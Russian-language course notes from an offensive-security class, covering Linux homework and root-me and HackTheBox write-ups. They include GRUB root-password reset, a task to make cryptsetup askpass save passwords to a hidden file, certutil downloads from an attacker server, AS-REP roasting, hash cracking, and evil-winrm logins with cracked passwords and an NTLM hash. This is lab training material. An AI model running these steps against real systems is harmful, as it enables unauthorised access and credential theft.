# ДЗ croos platform **доп конспекты** https://odeenhacimocom-my.sharepoint.com/personal/dubonmax_odeenhacimo_com/_layouts/15/Doc.aspx?sourcedoc={2dc36741-df1e-4856-810f-06e90b2ad0b1}&action=view&wd=target%28CYB-1%20Module%202%20AD.one%7C3db745d2-4dcd-4aaa-828f-19efe58c56f3%2Fwmic%7C0272bb49-55de-4de7-a7bd-9b4a0bd6c094%2F%29 Домашнее задание и дополнительные материалы Обязательная часть: Прочесть содержимое файла /etc/shadow с помощью grub, а затем сбросить пароль суперпользователя. По желанию: Зарегистрировать аккаунт на root-me.org Скрипты на интерпретируемых языках программирования (bash, python и т.д.) выполняются от имени текущего пользователя даже если на них установлен SUID bit. Предложите способ обойти это ограничение без использования sudo. Изменить код программы askpass из набора утилит cryptsetup так, чтобы она сохраняла пароль на жестком диске, например, в файле /boot/grub/.captured_pass. Чтобы получить её исходный код можно использовать команду: apt source cryptsetup Уберите права на исполнения у ELF-файла, например, /bin/chmod: $ chmod -x /bin/chmod Выполнить его напрямую теперь нельзя: /bin/chmod: Permission denied Тем не менее, его все равно можно запустить не изменяя установленные на файл права. Каким способом можно это сделать, как именно он работает? Вопросы по заданиям отправлять на почту: y.shmelyov@hackeru.com или в Telegram. Дополнительные материалы: Руководство по GRUB: https://wiki.archlinux.org/index.php/GRUB Средство аудита прошивки UEFI: https://github.com/chipsec/chipsec Настройка SecureBoot в Linux: https://habr.com/ru/post/308032/ Уязвимость GRUB: http://hmarco.org/bugs/CVE-2015-8370-Grub2-authentication-bypass.html Уязвимость initrd: http://hmarco.org/bugs/CVE-2016-4484/CVE-2016-4484_cryptsetup_initrd_shell.html Идентификаторы пользователей: https://intelligea.wordpress.com/2014/02/11/effective-user-id-and-group-id-vs-real-user-id-and-group-id/ Руководство по hashcat: https://hashcat.net/wiki/ Мануал по capabilities: https://man7.org/linux/man-pages/man7/capabilities.7.html Мануал по chattr: https://linux.die.net/man/1/chattr ___________ cat /etc/shadow ![](https://i.imgur.com/qQgBNYT.png) сброс пароля суперпользователя rw init=/bin/bash passwd ![](https://i.imgur.com/8zwBbG5.png) _____ Домашнее задание и дополнительные материалы Обязательная часть: Прорешать задания с платформы root-me, получить флаги и написать writeup-ы. https://www.root-me.org/en/Challenges/App-Script/ELF32-System-1 https://www.root-me.org/en/Challenges/App-Script/sudo-weak-configuration https://www.root-me.org/en/Challenges/App-Script/ELF32-System-2 https://www.root-me.org/en/Challenges/App-Script/Bash-cron Дополнительная часть: повысить свои права до пользователя root используя уязвимости конфигурации sudo Выполнить анализ Linux-системы на машине Basic Exploitation по инструкции из презентации и загрузить на неё скрипты для автоматического анализа защищенности по ссылкам из слайдов. По желанию: https://www.root-me.org/en/Challenges/Realist/Ultra-Upload https://www.root-me.org/en/Challenges/App-Script/Shared-Objects-hijacking https://www.root-me.org/en/Challenges/App-Script/SSH-Agent-Hijacking https://www.root-me.org/en/Challenges/App-Script/Bash-Restricted-shells https://www.root-me.org/en/Challenges/Realist/Bash-Awk-netstat-parsing Несколько актуальных уязвимостей для тренировки: https://www.qualys.com/2019/06/05/cve-2019-10149/return-wizard-rce-exim.txt https://blog.qualys.com/laws-of-vulnerabilities/2020/01/29/openbsd-opensmtpd-remote-code-execution-vulnerability-cve-2020-7247 https://www.mike-gualtieri.com/posts/finding-a-decade-old-flaw-in-gnu-mailutils https://github.com/bcoles/local-exploits https://github.com/guywhataguy/CVE-2019-12181 Материалы для ознакомления: https://github.com/diego-treitos/linux-smart-enumeration https://github.com/luke-goddard/enumy/releases https://cisofy.com/lynis/ https://crontab.guru/ https://www.exploit-db.com/exploits/39549 https://www.exploit-db.com/exploits/39535 https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html https://www.exploit-db.com/exploits/40616 https://www.exploit-db.com/exploits/40839 https://www.gnu.org/software/tar/manual/html_section/tar_26.html https://www.vulnhub.com/ https://www.hackthebox.eu/ https://www.root-me.org/en/Capture-The-Flag/ https://www.offensive-security.com/labs/ https://medium.com/tenable-techblog/tp-link-takeover-with-a-flash-drive-d493666f6b39 https://gtfobins.github.io/ Урок первый. Никогда не используйте C-shell для SUID-скриптов Урок второй. Всегда вручную устанавливайте PATH и используйте абсолютные пути. Урок третий. Поймите, как работают программы в вашем сценарии. **Bash - System 1** https://www.root-me.org/ru/Zadachi-i-problemy/App-Scenarij/Bash-System-1?action_solution=voir#ancre_solution #include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main(void) { setreuid(geteuid(), geteuid()); system("ls /challenge/app-script/ch11/.passwd"); return 0; } ![](https://i.imgur.com/pPFg4Cx.png) !oPe96a/.s8d5 2 вариант выполнения этого задания ![](https://i.imgur.com/e25Cwla.png) **sudo - weak configuration** https://www.root-me.org/en/Challenges/App-Script/sudo-weak-configuration ![](https://i.imgur.com/QnlxuIG.png) b3_c4r3ful_w1th_sud0 **Bash - System2** https://www.root-me.org/en/Challenges/App-Script/ELF32-System-2 ![](https://i.imgur.com/1kal43w.png) ![](https://i.imgur.com/y7mVFvs.png) 8a95eDS/*e_T# **Bash - cron** https://www.root-me.org/en/Challenges/App-Script/Bash-cron ``` #!/bin/bash # Sortie de la commande 'crontab -l' exécutée en tant que app-script-ch4-cracked: # */1 * * * * /challenge/app-script/ch4/ch4 # Vous N'avez PAS à modifier la crontab(chattr +i t'façons) # Output of the command 'crontab -l' run as app-script-ch4-cracked: # */1 * * * * /challenge/app-script/ch4/ch4 # You do NOT need to edit the crontab (it's chattr +i anyway) # hiding stdout/stderr exec 1>/dev/null 2>&1 wdir="cron.d/" # переходит в каталог ~/ challdir=${0%/*} cd "$challdir" # проверка на наличие каталога, если его нет - создаем и даём права if [ ! -e "/tmp/._cron" ]; then mkdir -m 733 "/tmp/._cron" fi # каждый файл в директории 'cron.d/' ls -1a "${wdir}" | while read task; do #проверяем на сущетвование и возможность запуска #-f exits and regular #-a && #-x runnable if [ -f "${wdir}${task}" -a -x "${wdir}${task}" ]; then #если проверка успешна запускаем файл с ограничением времени работы - 5 сек timelimit -q -s9 -S9 -t 5 bash -p "${PWD}/${wdir}${task}" fi #удаляем запущенный файл rm -f "${PWD}/${wdir}${task}" done #отчищаем каталог 'cron.d/' rm -rf cron.d/* ``` ![](https://i.imgur.com/kyPdaM2.png) Vys3OS3iStUapDj https://github.com/Vinnyz/Root-me-challenge-App-Script/blob/master/Bash%20-%20cron В комментариях к скрипту указано, что, согласно правилу crontab, он выполняется каждую минуту пользователем app-script-ch4-cracked. Этот скрипт, среди прочего, будет выполнять команды с правами app-script-ch4-cracked, указанными в папке cron.d/. Поскольку мы очень ленивы и не хотим перемещаться вокруг /tmp, мы попросим app-script-ch4-cracked показать нам содержимое .passwd прямо на нашем терминале. Мы начинаем с определения номера терминала: set | grep /dev/pts -> предположим, что наш терминал /dev/pts/n; На ней разрешено писать группа "другие": chmod o+w /dev/pts/n; На пишет наш маленький скрипт в cron.d: vim cron.d/script.sh: #! /Bin/bash /Bin/cat /challenge/app-script/ch4/.passwd > /dev/pts/n Право выполнения и чтения ("$задача скрипта ch4, требующая чтения содержимого сценария) предоставляется группе "другие" -> chmod o+rx cron.d/script.sh; Мы немного ждем, и флаг появится на нашем терминале :-)) . ______________________ **Прописываем пути посика переменной PATH** откройте ./bashrc в любом редакторе, затем напишите в конце файла PATH="$PATH:/usr/bin:/bin" или вы можете добавить как можно больше путей, добавляя к нему ":путь", а затем обновить его source ./bashrc https://book.hacktricks.xyz/linux-unix/privilege-escalation ![](https://i.imgur.com/g1bk81M.jpg) ![](https://i.imgur.com/3i9JVLA.png) ![](https://i.imgur.com/kCJYG7T.png) https://zerodium.com/program.html ![](https://i.imgur.com/MfUQg34.png) Подключаемся к машине binary expl __________________________ На самостоятельный разбор: HackTheBox - Access (<- Это название тачки) первоначальный доступ: telnet 10.10.10.98 Логин: security Пароль: 4Cc3ssC0ntr0lle **Сommando VM -kali для виндовс** dir /b Наша задача загрузить winpeas на машину 1. Поднимаем сервер python3 -m http.server 80 2. Загружаем на виндовс Винпис certutil.exe -urlcache -split -f http://10.10.14.8/winPEASany.exe winPEASany.exe **cmdkey /list** смотрим какие учетные данные на компе , если учетные данные сохранены на компе, то сможем использовать для входа в итоге через Runas https://winitpro.ru/index.php/2018/01/15/runas-sposoby-zapustit-programmu-ot-imeni-drugogo-polzovatelya/ https://book.hacktricks.xyz/windows/windows-local-privilege-escalation **Credentials manager / Windows vault** Хранилище Windows хранит учетные данные пользователя для серверов, веб-сайтов и других программ, в которые Windows может автоматически входить в систему. Во-первых, это может выглядеть так, как будто теперь пользователи могут хранить свои учетные данные Facebook, учетные данные Twitter, учетные данные Gmail и т. д., чтобы автоматически входить в систему через браузеры. Но это не так. Windows Vault хранит учетные данные, которые Windows может автоматически вводить пользователей, что означает, что любое приложение Windows, которому нужны учетные данные для доступа к ресурсу (серверу или веб-сайту), может использовать этот диспетчер учетных данных и Windows Vault и использовать предоставленные учетные данные вместо того, чтобы пользователи постоянно вводить имя пользователя и пароль. Если приложения не взаимодействуют с Credential Manager, я не думаю, что они могут использовать учетные данные для данного ресурса. Таким образом, если ваше приложение хочет использовать хранилище, оно должно каким-то образом связаться с диспетчером учетных данных и запросить учетные данные для этого ресурса из хранилища по умолчанию. Используйте ключ команд, чтобы перечислить сохраненные учетные данные на компьютере. сmdkey /list ``` C:\Users\Public>cd Desktop C:\Users\Public\Desktop>runas /user:Access\Administrator /savecred "cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\Users\security\Desktop\flag.txt" C:\Users\Public\Desktop>cd .. C:\Users\Public>cd .. C:\Users>cd security C:\Users\security>cd Desktop C:\Users\security\Desktop>dir Volume in drive C has no label. Volume Serial Number is 8164-DB5F Directory of C:\Users\security\Desktop 03/27/2022 07:38 PM <DIR> . 03/27/2022 07:38 PM <DIR> .. 03/27/2022 07:38 PM 32 flag.txt 03/27/2022 07:30 PM 0 root2.txt 03/27/2022 06:59 PM 32 roothash.txt 08/21/2018 11:37 PM 32 user.txt 4 File(s) 96 bytes 2 Dir(s) 5,387,714,560 bytes free C:\Users\security\Desktop>type flag.txt 6e1586cc7ab230a8d297e8f933d904cf C:\Users\security\Desktop> ``` ![](https://i.imgur.com/vFOae8S.png) Hack the box **Sauna** 1. nmap -sC -sV -oA Sauna 10.10.10.175 ![](https://i.imgur.com/WkH5eNr.png) 2. Вошли на сайт по 80 порту, видим имена команды (будем использовать для входа) ![](https://i.imgur.com/CbJ0aJn.png) 3. На 389 порту висит ldap, сканим скриптом , для поиска подробной информации nmap --script "ldap*" -p389 10.10.10.175 ![](https://i.imgur.com/qIIu3tT.png) ![](https://i.imgur.com/jqMu0NT.png) Нашли совпадение имен Hugo (он бы на сайте тоже), а также доменное имя EGOTISTICAL-BANK.LOCAL После перечисления портов мы обнаружили, что можем сделать обжарку Kerberos, если предварительная аутентификация отключена. Kerberos - это протокол, который используется для сетевой аутентификации. Мы будем использовать скрипт "GetNPusers.py" из "Impacket", чтобы проверить, есть ли учетные записи в домене, где предварительная аутентификация Kerberos отключена. Эта атака известна как **AS-REP Roasting**. Пользователю не нужно давать пароль, чтобы получить билет Kerberos, для этого нам нужны имена пользователей, поэтому порт 80 был открыт, поэтому мы зарегистрировались в браузере, чтобы получить имена пользователей. 4. Создаем вордлист на основе имен сайта ![](https://i.imgur.com/e1qnD6U.png) 5. python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -usersfile /root/htb/sauna/user1.txt -outputfile /root/htb/sauna/hash.txt -dc-ip 10.10.10.175 -debug скормили скрипту файл с юзерами и получили хэш юзера ![](https://i.imgur.com/XRGVjWW.jpg) 6. sudo john --wordlist=/usr/share/wordlists/rockyou.txt /root/htb/sauna/hash.txt ![](https://i.imgur.com/NObdLjf.png) 7. evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23 8. подняли сервер на пайтоне python3 -m http.server 80 9. *Evil-WinRM* PS C:\Users\FSmith\Documents> upload /root/winPEASx64.exe загружаем винпис на винду 9. ./winPEASx64.exe - запускаем винпис 10. Нашли креды автологона 11. evil-winrm -i 10.10.10.175 -u "svc_loanmgr" -p "Moneymakestheworldgoround\!" ![](https://i.imgur.com/tVYKUjo.png) evil-winrm -i 10.10.10.175 -u Administrator -H d9485863c1e9e05851aa40cbb4ab9dff ``` Looking for AutoLogon credentials Some AutoLogon credentials were found DefaultDomainName : EGOTISTICALBANK DefaultUserName : EGOTISTICALBANK\svc_loanmanager -> svc_loanmgr DefaultPassword : Moneymakestheworldgoround! ``` ![](https://i.imgur.com/zLWZaOZ.png) Если не знаю как скомбинировать имя и фамилию - скармливаю скрипту на пайтоне имя и фамилию и он генерит **ntpdate** - синхронизация времени, особенно при атаках на керберос https://ippsec.rocks/?# - сайт для помощи в прохождении hack the box